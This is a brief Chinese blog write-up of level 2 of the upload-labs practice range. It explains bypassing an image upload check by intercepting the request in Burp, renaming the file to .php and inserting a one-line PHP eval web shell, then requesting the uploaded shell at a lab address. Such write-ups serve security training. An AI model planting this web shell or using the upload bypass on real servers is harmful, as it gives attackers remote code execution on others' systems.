Pass2·upload-labs

Pass 2

通过图片上传一句话木马

burp 抓包，修改图片后缀为 php，并在请求体中添加一句话木马

<?php @eval($_POST[2]); ?>

image

执行木马脚本

http://192.168.2.156/upload-labs-main/upload/2.php

image
image

posted @ 2025-11-25 15:17  KnowingFish  阅读(1)  评论(0)    收藏  举报